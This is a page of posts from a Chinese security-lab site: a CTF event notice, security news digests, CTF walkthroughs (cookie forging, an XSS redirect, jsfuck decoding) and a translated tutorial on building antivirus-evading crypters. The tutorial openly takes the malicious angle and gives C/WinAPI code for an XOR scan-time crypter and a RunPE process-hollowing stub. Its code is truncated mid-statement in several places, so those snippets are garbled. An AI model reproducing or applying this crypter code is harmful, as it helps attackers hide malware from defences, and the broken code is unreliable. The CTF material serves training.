2021年，我们热血开局！ 1月的最后一周，我们再次见证了成长与历练。 时间：2021/1/26-1/28 事件：蚁景杯 WUST CTF2021新生赛 蚁景杯 WUST CTF2021新生赛：武汉科技大学俱乐部2021首场CTF竞赛，WEB、PWN、 MISC、CRYPTO、REVERSE五大题型迎接新生来战！ 比赛为期三天，一方面考验着参赛队员的耐力值；题目类型涵盖面较广，在考验新生“学习情况”方面下足了“猛料”。 武汉科技大学俱乐部，因为热爱聚集到一块，学习从0到1的过程，响应号召，依然极客前行！

我一直认为，在黑客世界里，加密技术是一种很神秘的艺术，是一种很隐晦的东西，我们可以查找资料来进行研究。当然，它在黑客世界中已经变得非常普遍，尤其是在2013年和2014年推出了Veil-Evasion和shellter工具。在这篇文章中，我将详细介绍加密工具的类型以及它们在底层的工作原理，然后展示低级代码层面上一些鲜为人知的技术。在阅读完这篇文章后，我希望大家最终能对这些玩意儿的工作原理以及它们在计算机世界中的地位和作用有一定程度的了解。 本文涉及知识点实操练习：https://www.yijinglab.com/expc.do?ec=14804a13-fea8-4bcf-a928-a71a40e7cfa4 （通过本实验，了解RC4加密技术） 稍微声明一下：有些材料可能不适合初学者，因为它们需要相当多的Windows底层的知识。包括以下很多技术。 掌握 C/C++ 熟悉WinAPI 和对应的文档 熟悉基础的加密知识 熟悉PE文件的结构 熟悉 Windows 虚拟内存 熟悉进程和线程  密码学的两个方面 当我们谈起对于密码学的印象时，我们经常会想到 "这是一种处理信息的手段，防止信息被泄露出去"。我们大多数人都把它看成是一种防御机制，其应用的目的在于确保信息的安全，阻止恶意的攻击。当然，我们很清楚这一点，因为它被发明出来的唯一目的就是保护数据，然而，正如我们很快就会看到的那样，密码学的功能已经远远不止这些。 如果我们使用传统的密码学来进行恶意攻击，即设计恶意软件，利用密码学提供的优势。这些类型的恶意软件在现代已经非常普遍，包括勒索软件和非对称后门等，它们主要涉及公钥密码学。  反病毒机制 为了能够设计出绕过杀毒软件的方式，我们必须首先要明白杀毒软件的杀毒方式。我将简单介绍一下杀毒软件检测应用程序采用的两种主要方法。 基于签名的检测 顾名思义，基于签名的检测是一种将应用程序的签名与相应的已知恶意软件的数据库进行交叉参考匹配的技术。这是预防和遏制之前出现过的恶意软件的有效措施。 基于启发式检测 虽然基于签名的检测可以防止大多数以前已知的恶意软件，但它也有缺点，因为恶意软件作者可以针对这种方法添加保护措施，如使用多态和变形代码等。基于启发式的检测会监控应用程序的行为和特征，并将其与已知的恶意行为进行匹配。请注意，只有在应用程序正在运行的情况下才会进行这种检测。 当然，杀毒软件要比这个高级很多。由于这已经超出了文章讨论的范围，也超出了我的理解范围，所以这里不会涉及这些信息。 加密技术简介 加密器是被设计用来保护文件内部信息的软件，并且在执行后，用解密程序提取后能够完整地提供信息。请注意，虽然加密器可以被用于恶意目的，但它也主要用于混淆数据，防止对软件逆向工程。在本文中，我们将重点讨论恶意使用的情况。那么，这是如何工作的呢？让我们先来了解密码器的各部分，看一下它们的作用。 加密器负责对目标对象进行加密。  +-------------+ +-----------+ +-------------------+ +--------+ | Your file | -> | Crypter | => | Encrypted file | + | Stub | +-------------+ +-----------+ +-------------------+ +--------+ +------------------+ +--------+ +---------------+ | Encrypted file | + | Stub | = Execution => | Original File  扫描时加密器 这些类型的加密器由于能够加密磁盘上的数据而被称为扫描时加密器，杀毒软件可以对文件进行扫描，例如基于签名的检测。在这一阶段，只要应用的混淆技术是足够强大的，杀毒软件将永远无法检测到任何恶意活动。 运行时加密器 这些加密器将加密技术提升到了一个新的水平，能够在内存中运行时根据需要对数据进行加密。通过这样做，能够使恶意软件在杀毒软件作出反应之前加载和执行。在这个阶段，一个应用程序可以快速地运行它的有效载荷并达到它的目标。但是恶意软件完全有可能在执行阶段触发杀毒软件的基于启发式的检测策略，所以恶意软件作者应该小心。 现在我们已经介绍了高层次的内容，那么我们就来看看这两种类型的实例。 编写扫描时间加密器 扫描时加密器是两者中比较简单的，因为它不需要虚拟内存和进程/线程的知识。本质上，stub会对文件进行处理，把它放到磁盘上的某个地方，然后执行它。下面记录了一个扫描时加密器的设计。 注意：为了简洁和可读性，内容将不包含错误检查。 加密器和stub伪代码 1.检查是否有命令行参数 +-> 2. 如果有命令行参数，则作为加密器对文件进行加密处理 | 3. 打开目标文件 | 4. 读取文件内容 | 5. 对文件内容进行加密 | 6. 创建一个新文件 | 7. 将加密后的文件写入新文件 | 8. 結束 | +-> 2. 如果没有命令行参数，则作为stub 3. 打开加密文件 4. 读取文件内容 5. 解密文件内容 6. 创建一个临时文件 7. 将解密后的内容写入临时文件 8. 执行文件 9. 完成 这个设计方案在同一个可执行文件中同时实现了加密器和stub，我们可以这样做，是因为这两个操作非常相似。下面用代码来介绍一下设计方案。 首先，我们需要定义main和两个条件，这两个条件定义了是执行加密器还是stub。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine } return EXIT_SUCCESS; } 由于我们将应用程序设计成了窗口应用程序，我们不能像通常基于控制台的应用程序中那样检索 argc 和 argv，但是微软提供了使用 argc 和 argv的解决方案。如果命令行参数 __argv[1] 存在，应用程序将尝试对指定的文件进行加密，否则，它将尝试解密一个被加密的文件。 接下来是加密程序，我们需要 __argv[1] 来指定文件的句柄和它的大小，这样我们就可以把它的字节复制到一个缓冲区中进行加密。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine // open file to crypt HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get Crypt函数主要是将文件内容读入到一个缓冲区中，然后对其进行加密，然后返回一个指向缓冲区的指针。 LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) { // allocate buffer for file contents LPVOID lpFileBytes = malloc(dwFileSize); // read the file into the buffer ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL); // apply XOR encryption int i; for (i = 0; i < dwFileSize; i++) { *((LPBYTE)lpFileBytes  现在我们有了加密的字节，我们需要创建一个新的文件，然后将这些字节写入其中。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine ... // get crypted file name in current directory CHAR szCryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szCryptedFileName); strc 加密器部分差不多就是这些了。注意，我们使用了一个简单的XOR来加密文件的内容，如果我们能够获得密钥，这种方案的安全性可能是不够的。如果我们想更加安全，我们可以使用其他的加密方案，如RC4或(x)TEA。我们不需要完整的加密算法，因为我们的目的是为了避免基于签名的检测，因此这么做完全是矫枉过正。保持文件小而简单最重要。 让我们继续进入stub例程。对于stub程序，我们要检索当前目录下的加密文件，然后将解密后的内容写入一个临时文件中进行执行。  我们首先要得到当前的要处理的文件，然后打开文件，得到文件大小。  int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine // get target encrypted file CHAR szEncryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szEncryptedFileName); strcat(szEncryptedFileName, "\\"); strcat(szEncr  和加密器例程差不多。接下来，我们要读取文件内容，并得到解密后的字节。由于XOR操作恢复了给定的公共位的值，我们可以简单地重用Crypt函数。之后，我们需要创建一个临时文件，并将解密后的字节写入其中。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // decrypt and obtain decrypted bytes LPVOID lpFileBytes = Crypt(hFile, dwFileSize); CloseHandle(hFile); // get file in temporary directory CHAR szTempFileName[MA 最后，我们需要执行解密后的应用程序。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // execute file ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0); } else { // crypter routine } return EXIT_SUCCESS; } 请注意，一旦解密后的应用程序被写入磁盘，它很有可能被杀毒软件的基于签名的检测方式检测出来，因此这样有可能捕获大多数的恶意软件。正因为如此，恶意软件的作者需要编写即使他们的应用程序在这种情况下仍然能够执行的功能。 扫描时加密器就到此为止。  编写一个运行时加密器 对于运行时加密器，我的文章只涉及stub，因为它还包括更复杂的过程，所以我们将假设应用程序已经被加密。这些加密器使用一种叫做RunPE的流行技术。它的工作原理是stub先解密应用程序的加密字节，然后模拟Windows加载器，将它们推送到暂停进程的虚拟内存空间中。这个过程完成后，stub将把暂停的进程恢复运行。 注意：为了简洁和可读性，我将不包含错误检查。 stub伪代码  1. Decrypt application 2. Create suspended process 3. Preserve process's thread context 4. Hollow out process's virtual memory space 5. Allocate virtual memory 6. Write application's header and sections into allocated memory 7. Set modified thread context 8. Resume process 9. Finish  我们可以看到，这需要相当多的Windows内部知识，包括PE文件结构、Windows内存操作和进程/线程的知识。我强烈建议读者在理解这些知识的基础上来理解下面的材料。 首先，让我们在main中设置两个例程，一个用于解密被加密的应用程序，另一个用于将其加载到内存中执行。 APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { Decrypt(); RunPE(); return EXIT_SUCCESS; } Decrypt函数实现方式完全依赖于用于应用程序的加密方式，这里是一个使用XOR的示例代码。 VOID Decrypt(VOID) { int i; for (i = 0; i < sizeof(Shellcode); i++) { Shellcode[i] ^= Key[i % sizeof(Key)]; } } 现在，应用程序已经被解密，让我们来看看神奇的地方。在这里，我们通过检查DOS和PE签名来验证该应用程序是否是一个有效的PE文件。 VOID RunPE(VOID) { // check valid DOS signature PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode; if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return; // check valid PE signature PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew); if (pinh->Signature != IMAGE_NT_SIGNAT  现在，我们将创建暂停的进程。 VOID RunPE(VOID) { ... // get own full file name CHAR szFileName[MAX_PATH]; GetModuleFileName(NULL, szFileName, MAX_PATH); // initialize startup and process information STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); // required to set size of si.cb 注意，szFileName可以是任何可执行文件的完整路径，如explorer.exe或iexplore.exe，但在本例中，我们将使用stub的文件。CreateProcess函数将在暂停状态下创建一个指定文件的子进程，这样我们就可以根据自己的需要来修改它的虚拟内存内容。 VOID RunPE(VOID) { ... // obtain thread context CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.Thread, &ctx); } 现在我们清空进程的虚拟内存区域，这样我们就可以为应用程序分配自己的运行空间。为此，我们需要一个函数，而这个函数对我们来说并不是现成的，因此我们需要一个函数指针，指向一个从ntdll.dll 文件中动态检索内容的函数。 typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID); VOID RunPE(VOID) { ... // dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // hollow p 由于被暂停的进程在其虚拟内存空间内有自己的内容，我们需要从内存中对它进行解映射，然后分配我们自己的内容，这样我们就有访问权限来加载我们的应用程序的映像。我们将通过WriteProcessMemory函数来实现。首先，我们需要像Windows加载器一样，先写头文件，然后分别写每个部分。这一部分需要对PE文件结构有一个全面的了解。  VOID RunPE(VOID) { ... // write header WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL); // write each section int i; for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) { // calculate and get ith section PIMAGE_SECTION 现在一切就绪，我们只需修改上下文的切入点地址，然后恢复暂停的线程。 VOID RunPE(VOID) { ... // set appropriate address of entry point ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread, &ctx); // resume and execute our application ResumeThread(pi.hThread); } 现在，应用程序已经开始在内存中运行，希望杀毒软件不会检测到它。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、机器学习提供了解决SQL注入漏洞的新方法 https://portswigger.net/daily-swig/machine-learning-offers-fresh-approach-to-tackling-sql-injection-vulnerabilities 2、SpamCop反垃圾邮件服务在其域名过期后发生中断 https://www.bleepingcomputer.com/news/security/spamcop-anti-spam-service-suffers-an-outage-after-its-domain-expired/ 3、针对SonicWall网络设备中的0day漏洞已被在野利用 https://www.zdnet.com/article/sonicwall-zero-day-exploited-in-the-wild/ 4、YouPHPTube和AVideo中的多个漏洞可致远程代码执行 https://portswigger.net/daily-swig/vulnerabilities-in-open-source-streaming-platforms-youphptube-and-avideo-could-lead-to-rce 5、研究人员发现了用于横向移动的新型Trickbot模块 https://securityaffairs.co/wordpress/114103/malware/trickbot-new-module.html 6、针对NoxPlayer 安卓模拟器的供应链攻击-NightScout行动 https://securityaffairs.co/wordpress/114090/hacking/noxplayer-supply-chain-attack.html 7、谷歌披露了广泛使用的Libgcrypt加密库严重漏洞 https://securityaffairs.co/wordpress/114076/security/libgcrypt-encryption-library-flaw.html 8、专家披露Azure Functions 漏洞可造成Docker逃逸 https://securityaffairs.co/wordpress/114061/hacking/azure-functions-escape-docker.html 9、外包服务集团Serco Group遭勒索软件攻击 https://www.infosecurity-magazine.com/news/global-government-outsourcer-serco/ 10、网络犯罪组织Rocke正积极利用恶意软件Pro-Ocean https://securityaffairs.co/wordpress/114005/malware/pro-ocean-miner.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Popup Builder插件漏洞影响20万WordPress网站 https://threatpost.com/wordpress-pop-up-builder-plugin-flaw-plagues-200k-sites/163500/ 2、新的挖矿软件Pro-Ocean针对ActiveMQ、WebLogic等 https://securityaffairs.co/wordpress/114005/malware/pro-ocean-miner.html 3、美国电信运营商UScellular披露数据泄露 https://securityaffairs.co/wordpress/114023/data-breach/uscellular-data-breach.html 5、Fonix勒索软件关闭并释放主解密密钥 https://www.bleepingcomputer.com/news/security/fonix-ransomware-shuts-down-and-releases-master-decryption-key 6、英国研究与创新局（UKRI）遭勒索软件攻击 https://securityaffairs.co/wordpress/114026/hacking/ukri-ransomware-attack.html 7、编程网站Perl.com的域名被劫持 https://securityaffairs.co/wordpress/114006/hacking/website-perl-com-hijacked.html 8、研究人员发现用于卫星影像的NITRO开源库存在多个漏洞 https://www.scmagazine.com/home/security-news/vulnerabilities/flaws-in-open-source-library-used-by-dod-ic-for-satellite-imagery-could-lead-to-system-takeovers/ 9、Windows Installer零日漏洞补丁已发布 https://www.bleepingcomputer.com/news/security/windows-installer-zero-day-vulnerability-gets-free-micropatch 10、GnuPG加密软件中漏洞可致远程代码执行 https://nakedsecurity.sophos.com/2021/01/31/gnupg-crypto-library-can-be-pwned-during-decryption-patch-now/

这次的题目是进入网站后台找flag，题目地址：https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9d6c0ca797abec2016092313250000001& 首先打开题目网页，内容如下：简单的字母提示和一个明显的按钮。 点击按钮，左上角页面出现提示：Only Member with Admin rights is allow to enter。意思是只能以管理员身份进入网站后台。 用brupsuit抓包，看看数据包的发送情况： 返回的数据包中设置了cookie的值，Member的值经过了base64加密。在burpsuite的decoder模块解码——>输入Tm9ybWFs——>Decode as ——>Base64： 然后根据页面的提示，把Admin进行base64加密，得到得到QWRtaW4=，构造这样一个请求包，发送。  然后再Intercept中将Member的值换成上面加密的值，并点击Forward发送。 出现flag 实验总结： 主要用到bursuite抓包分析数据，还有base64的加密和解密。 Base64密文有如下特点： - 字符串只可能包含A-Z，a-z，0-9，+，/，=字符  - 字符串长度是4的倍数  - =只会出现在字符串最后，可能没有或者一个等号或者两个等号

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、苹果添加“ BlastDoor”以保护iPhone免受零点击攻击 https://www.securityweek.com/apple-adds-blastdoor-secure-iphones-zero-click-attacks 2、微软过去1年中安全业务相关收入超过100亿美金 https://www.securityweek.com/microsoft-security-10-billion-business 3、苹果将在春季推出新的隐私控制措施 https://www.securityweek.com/apple-crack-down-tracking-iphone-users-early-spring 4、新的Android恶意软件Oscorp针对意大利用户 https://securityaffairs.co/wordpress/113983/malware/oscorp-android-malware.html 5、爆炸雪松APT小组入侵全球电信、托管服务商 https://securityaffairs.co/wordpress/113975/apt/lebanese-cedar-apt-attacks.html 6、Stack Overflow披露了2019年被黑事件详情 https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/ 7、研究人员发现新型网络钓鱼工具包LogoKit https://threatpost.com/logokit-simplifies-office-365-sharepoint-login-phishing-pages/163430/ 8、TeamTNT使用新逃避检测工具投送恶意软件 https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool 9、安全研究员发现Node.js应用程序远程执行代码漏洞 https://portswigger.net/daily-swig/potential-remote-code-execution-vulnerability-uncovered-in-node-js-apps 10、Windows 7 仍易受Blind TCP/IP 劫持攻击 https://portswigger.net/daily-swig/blind-tcp-ip-hijacking-is-resurrected-for-windows-7

本关实验地址为：& 预备知识 HTTP协议，报文的组成部分等，请参考https://yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001<>以及简单的js脚本编写能力。 打开服务器上的网页然后看到进入第一关的按钮，点一下。 跳到第一关，只有一些文字，那么我们不多BB，直接查看源代码。 源代码中有个注释，要删除1.php.bak，我们直接在地址栏中输入试试。 然后来到了这个页面，和第一关的页面差不多，但是多了一些奇怪的符号，还是看一下源代码吧。 源代码中给出了第二关的地址，直接访问。 进入到第二关后，出来一个输入框和按钮，然后提示点击进入第三关，那么我们点一下 出现了诡异的提示，我们注意到第三关的页面是3rd.php。点击提示的确定后，又退回到第二关了。 此事必有蹊跷。特别是这个输入框，能让我有插它的冲动，写个alert看看能不能xss。 <script>alert(1)</script> 竟然弹框了，好激动好兴奋的样子。 那么我们构造一个a标签来戳进去。<a href="3rd.php"></a> 发现不行，构造出的连接闪一下就没了。 那么我们用【某种方式】重定向吧。 <script>window.location="3rd.php"</script> 成功绕过验证，点击就能进入下一关了。 这和前面也差不多，就是只有一些文字。查看源代码也没有收获，那我们看看能否从文字中获得关键信息 既然说是在眼皮底下，那我们就看看眼皮吧，查看一下HTTP原始请求包和返回包，发现在返回的报文中有个Next字段，提供了下一关的页面。             那么按照提示，点完按钮就结束了吧。 可是鼠标放到按钮上，按钮就不见了。 我们使用审查元素看一下，原来使用了display:none，将其改为display:block按钮就出来了。 但是鼠标悬停还是没有了，看一下上面的joy脚本，原来就是这个脚本隐藏了按钮。 那么我们删除这个按钮的onmouseover="joy()"，果然出现  点击按钮，找到key。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、欧美执法部门联合宣布对NetWalker Ransomware采取行动 https://securityaffairs.co/wordpress/113944/cyber-crime/netwalker-ransowmare-dismantled.html 2、国际联合行动捣毁了Emotet僵尸网络 https://securityaffairs.co/wordpress/113933/cyber-crime/emotet-global-takedown.html 3、Pwn2Own 2021 提供超过150万美元的现金和其他奖品 https://www.securityweek.com/pwn2own-2021-hackers-offered-200000-zoom-microsoft-teams-exploits 4、Linux Sudo中堆缓冲区溢出漏洞可使普通用户获得root特权 https://securityaffairs.co/wordpress/113900/hacking/sudo-vulnerability-cve-2021-3156.html 5、研究人员披露了ADT的LifeShield DIY视频门铃漏洞 https://threatpost.com/adt-security-camera-flaw-opened-homes-stores-to-eavesdropping/163378/ 6、CISA发布有关富士电机HMI产品的高严重漏洞通报 https://www.securityweek.com/cisa-issues-advisory-high-severity-vulnerabilities-fuji-electric-hmi-products 7、零售巨头Dairy Farm遭REvil勒索软件攻击 https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/ 8、Nefilim勒索软件利用目标已故员工账户进行攻击 https://news.sophos.com/en-us/2021/01/26/nefilim-ransomware-attack-uses-ghost-credentials/ 9、超过1.76亿巴基斯坦手机用户信息在黑客论坛上出售 https://www.hackread.com/pakistani-mobile-phone-users-database-sold-online/ 10、上百工业组织在SolarWinds攻击中感染了Sunburst恶意软件 https://www.securityweek.com/hundreds-industrial-organizations-received-sunburst-malware-solarwinds-attack

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Firefox阻止Supercookies以改善用户隐私 https://www.securityweek.com/firefox-cracks-down-supercookies-improve-user-privacy 2、苹果发布了针对iOS零日漏洞的紧急修复程序 https://www.securityweek.com/apple-ships-emergency-fixes-under-attack-ios-zero-day 3、更多网络安全公司确认被SolarWinds Hack攻击 https://www.securityweek.com/more-cybersecurity-firms-confirm-being-hit-solarwinds-hack 4、NAT Slipstreaming 2.0可远程攻击内网的设备 https://www.securityweek.com/nat-slipstreaming-20-exposes-devices-internal-networks-remote-attacks 5、DanaBot恶意软件在消失七个月后重新活跃 https://threatpost.com/danabot-malware-roars-back/163358/ 6、思科DNA中心高危漏洞使企业易受到远程攻击 https://threatpost.com/cisco-dna-center-bug-remote-attack/163302/ 7、VIPGames泄漏2300万条玩家记录 https://threatpost.com/gamer-records-exposed-vipgames-leak/163352/ 8、APT组织Lazarus针对安全研究人员进行社工攻击 https://securityaffairs.co/wordpress/113855/apt/north-korea-security-experts.html 9、起重机制造商Palfinger遭遇全球网络攻击 https://www.bleepingcomputer.com/news/security/leading-crane-maker-palfinger-hit-in-global-cyberattack/ 10、Nvidia修复Jetson产品中的高危DoS漏洞 https://threatpost.com/nvidia-squashes-high-severity-jetson-dos-flaw/163360/

本次实验操作地址：& 进入实验环境，打开题目地址，发现是个俄罗斯方块的游戏，尝试先玩了几局，但是并没有什么用，玩游戏就能获得flag？感觉不太靠谱，看看有没有别的思路。 我们先分析这个游戏服务，这是一个web的游戏，那么我们在浏览器的开发者工具中，对网络请求进行分析，发现我们对目标进行访问时，并没有实质性的后台请求： 所以基本可以断定，这是一个前台页面的游戏，游戏的运行、计分都是由js脚本来支持的，所以我们找到了请求中仅有的js页面代码： 这个js混淆过，所以需要先美化，也就是js代码的格式化。经过分析，会发现，当游戏分数达到既定的条件时，js代码会在页面的头部中添加urlkey字段，值为“webqwer”[1]+“100.js”，即为“webqwer”的第2个字母与“100.js”拼接为“e100.js”。 也是一个js文件，我们尝试直接访问，可以下图下图所示的内容，这是jsfuck编码： jsfuck编码是可以直接在控制台运行的，我们复制粘贴到控制台，但是我们直接可以用google浏览器，f12打开开发者工具，然后将编码粘贴到console中，内容过多，环境可能卡顿，耐心等待： 粘贴完成之后，回车就可运行，页面就会弹出flag： 最后填写一下答案，完成。